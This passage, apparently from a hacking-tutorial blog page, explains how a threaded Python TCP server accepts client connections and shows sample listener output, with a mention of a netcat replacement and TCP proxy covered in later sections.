When a client connects , we receive the client socket into the client variable, and the remote connection details into the addr variable. We then create a new thread object that points to our handle_client function, and we pass it the client socket object as an argument. We then start the thread to handle the client connection , and our main server loop is ready to handle another incoming connection.

If you use the TCP client that we built earlier, you can send some test
packets to the server and you should see output like the following:

[*] Listening on 0.0.0.0:9999
[*] Accepted connection from: 127.0.0.1:62512
[*] Received: Hello

That’s it! Pretty simple, but this is a very useful piece of code which we
will extend in the next couple of sections when we build a netcat replace-
ment and a TCP proxy.

Also Check Creating A TCP Client for Hacking Using Python | For Hackers

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Hacking, learn hacking, TCP server

  • « Go to Previous Page
  • Go to page 1
  • Go to page 2
  • Go to page 3
  • Go to page 4
  • Go to Next Page »

Footer

Contact Us

If you’d like to find out more about our services and explore the possibility of us working together, get in touch. Our initial consultation is free. So you’ve nothing to lose!

Contact Us
  • Privacy Policy
  • Disclaimer
  • Terms and Conditions

Copyright © 2022 · Parallax Pro on Genesis Framework · WordPress · Log in